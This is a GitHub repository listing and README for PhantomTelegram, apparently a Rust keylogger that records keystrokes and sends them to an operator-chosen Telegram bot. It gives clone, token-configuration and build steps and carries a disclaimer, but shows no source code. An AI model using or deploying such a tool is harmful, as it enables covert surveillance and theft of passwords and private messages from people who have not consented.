https://github.com/xeintdm/phantomtelegram
PhantomTelegram is a lightweight keylogger that sends captured keystrokes to a specified Telegram bot using the Telegram Bot API.
https://github.com/xeintdm/phantomtelegram
keylogger keylogger-rust keystroke-logger rs rust telegram telegram-bot
Last synced: 2 months ago
JSON representation
PhantomTelegram is a lightweight keylogger that sends captured keystrokes to a specified Telegram bot using the Telegram Bot API.
- Host: GitHub
- URL: https://github.com/xeintdm/phantomtelegram
- Owner: XeinTDM
- License: unlicense
- Created: 2025-01-18T23:21:28.000Z (5 months ago)
- Default Branch: main
- Last Pushed: 2025-01-18T23:22:03.000Z (5 months ago)
- Last Synced: 2025-02-07T22:53:04.742Z (4 months ago)
- Topics: keylogger, keylogger-rust, keystroke-logger, rs, rust, telegram, telegram-bot
- Language: Rust
- Homepage: https://guns.lol/xein
- Size: 15.6 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# PhantomTelegram
**PhantomTelegram** is a lightweight keylogger that sends captured keystrokes to a specified Telegram bot using the Telegram Bot API. It uses `rdev` for key event listening and `reqwest` for HTTP requests.
## Features
- Captures keystrokes and processes them.
- Sends the captured input to a Telegram chat in near real-time.
- Uses rate limiting to prevent spamming the Telegram bot API.## Getting Started
1. **Clone the Repo:**
```bash
git clone https://github.com/XeinTDM/PhantomTelegram.git
cd PhantomTelegram
```
2. **Set Your Config:**
- Replace `BOT_TOKEN` with your Telegram bot token.
- Replace `CHAT_ID` with your target chat ID.3. **Build and Run:**
- Install Rust if you don’t have it: [Rust Installation](https://www.rust-lang.org/tools/install).
- Run the program:
```bash
cargo run --release
```## License
**PhantomTelegram** is licensed under [The Unlicense](LICENSE), so feel free to use, modify, and distribute it as you like.---
**Disclaimer:** This project is intended for educational and ethical purposes only. Unauthorized use, including but not limited to illegal activities, surveillance without consent, or any action that violates laws or personal privacy, is strictly prohibited. The author assumes no responsibility for misuse.